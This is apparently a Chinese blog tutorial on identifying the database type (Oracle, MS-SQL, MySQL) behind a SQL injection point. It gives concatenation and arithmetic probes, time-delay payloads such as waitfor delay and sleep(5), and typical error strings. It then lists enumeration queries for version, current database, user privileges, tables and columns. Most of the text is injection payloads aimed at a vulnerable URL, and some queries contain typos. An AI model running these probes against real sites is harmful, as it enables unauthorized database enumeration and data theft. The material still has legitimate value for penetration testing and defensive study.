sql注入之数据库识别

目前,主流扫描器在性能和准确性上一直是各个厂家追捧的对象,然而由于缺少对一些特定环境的判断,例如,数据库的版本识别,页面相似度的计算,爬虫对单 url扫描时间的采样等,所以导致对于一个sql注入的检测势必会采取全规则扫描,那么对于一个数据库怎样去识别呢,我们可以根据所谓的“指纹”去探索, 数据库的类型。

根据数据库连接字符串的不同进行识别

在控制某个字符串数据项的查询中,可以再一个请求中提交一个特殊的值,然后测试个中连接方式,生成自己想要的字符串,如果得到相同的结果,就可以确定所使 用的数据库类型,如果该页面存在sql注入,当然就是用最简单的测试手法,进行探测,如果探测成功,然后就进行字符的连接测试,对于后台如果一个 url:http://www.site.com/select.php?a=1&b=2,假设存在注入漏洞,注入点是b,你可以加入一下内容, 构造你认为对的注入条件:

a) 字符串类型:

1
2
3
1. ORACLE:’database‘ || ’_detect‘
2. MS-SQL: ’database‘+’_detect‘
3. MYSQL:’database‘ ’_detect‘

b) 数字类型

1
2
3
1. ORACLE:BITAND(1,1) - BITAND(1,1)
2. MS-SQL:@@PACK_RECEIVED - @@PACK_RECEIVED
3. MYSQL: CONNECTION_ID() - CONNECTION_ID()

根据页面的返回特征,如果有你想要看到的现象,那么就可以确定数据库的类别。

根据数据库默认函数的不同进行识别

a) 基于时间的

  1. 在oracle之中,没有专门的内置时间函数,但是它有一个向远端服务器发送http请求的内置函数,UTL_HTTP,如果发送一个不存在的远端主机请 求,它就会尝试去连接,这样势必会造成一定程度的延迟。
  2. 在ms-sql之中,可以使用waitfor delay ‘0:0:10’注入参数之中,造成一定的延迟然后和预期的正常请求时间相比较,如果符合自己的预期,那么就可以确定数据库的类型
  3. 在mysql之中,可以使用sleep(5)注入参数之中,造成延迟来判断数据库类型
    b) 基于错误类型的
    众所周知对于不同的数据库,如果sql语句触发了错误,它们所爆出来的错误信息是不一样的,当然我们可以试探的形式去发现,例如我们用单引号,双引号,宽字节等有效手段,或者引发除零错之类的触发sql语句的错误,然后从错误信息之中寻找信息
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    1. ORACLE
    ORA-01756:quoted string not properly terminated
    ORA-00933:SQLcommand not properly ended
    2. MS-SQL
    Msg 170,level 15, State 1,Line 1
    Line 1:Incorrect syntax near ‘foo
    Msg 105,level 15,state 1,Line 1
    Unclose quotation mark before the character string ‘foo
    3. MYSQL
    you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

c) 根据注释也可以初步判断数据库类型,但是注释一般可以被程序过滤,所以严格意义上讲,不在考虑范围之内
这里举例就先这些,其实错误信息很多,如果个事实三者中的任意一个,那么就可以确定是哪一种数据库.

怎样去获取数据库的详细信息

a) 获取数据库的版本字符串

1
2
3
4
5
6
1. ORACLE
Select banner from v$version
2. MS-SQL
Select @@version
3. MYSQL
Select @@version

b) 获取当前操作的数据库

1
2
3
4
5
6
7
1. ORACLE
Select SYS_CONTEXT(‘USERENV’,’DBNAME’) from dual
2. MS-SQL
Select db_name()
获取服务器的名称可以用 select servername
3. MYSQL
Select database()

c) 获取当前用户的权限

1
2
3
4
5
6
7
8
9
1. ORACLE
Select privilege from session_privs
2. MS-SQL
Select grantee,table_name,privilege_type from
INFORMATION_SCHEMA.TABLE_PRIVILEGES
3. MYSQL
Select * from information_schema.user_privileges where grantee = ‘user’
这里的user可以来自select user()
如果要对这些检索出来的信息,进行一列显示,那么就要用到前面提到的连接符号

d) 显示用户表

1
2
3
4
5
6
7
1. ORACLE
Select object_name,object_type,from user_objectsWHEREobject_type=’TABLE’或者显示用户访问的所有表,从其中获取信息
Select table_name form all_tables
2. MS-SQL
Select name from sysobjectsWHERExtype=’U’
3. MYSQL
Select table_name from information_schema.tables where table_type=’BASE TABLE’ and table_schema!=’mysql’

e) 显示表foo的列名称

1
2
3
4
5
6
1. ORACLE
Select column_name,Name form uer_tab_columns where table_name = ‘FOO’,如果目标数据部位当前应用程序用户所有,使用ALL_table_columns表
2. MS-SQL
Select column_name,FORM information_schema.columns where table_name=’foo’
3. MYSQL
Select column_name from information_schema.columns where table_name=’foo’

f) 显示用户对象

1
2
3
4
5
6
1. ORACLE
Select object_name,object_type from user_objects
2. MS-SQL
Select name form sysobjects
3. MYSQL
Select table_name from information_schema.tables或者select trigger_name from information_schema.triggers

总结:

如果对于一个存在sql注入的站点来说,前两点可以轻松判断数据库的类型,最后的一点,可以根据实际情况进行sql拼接构造,对一个数据库进行探测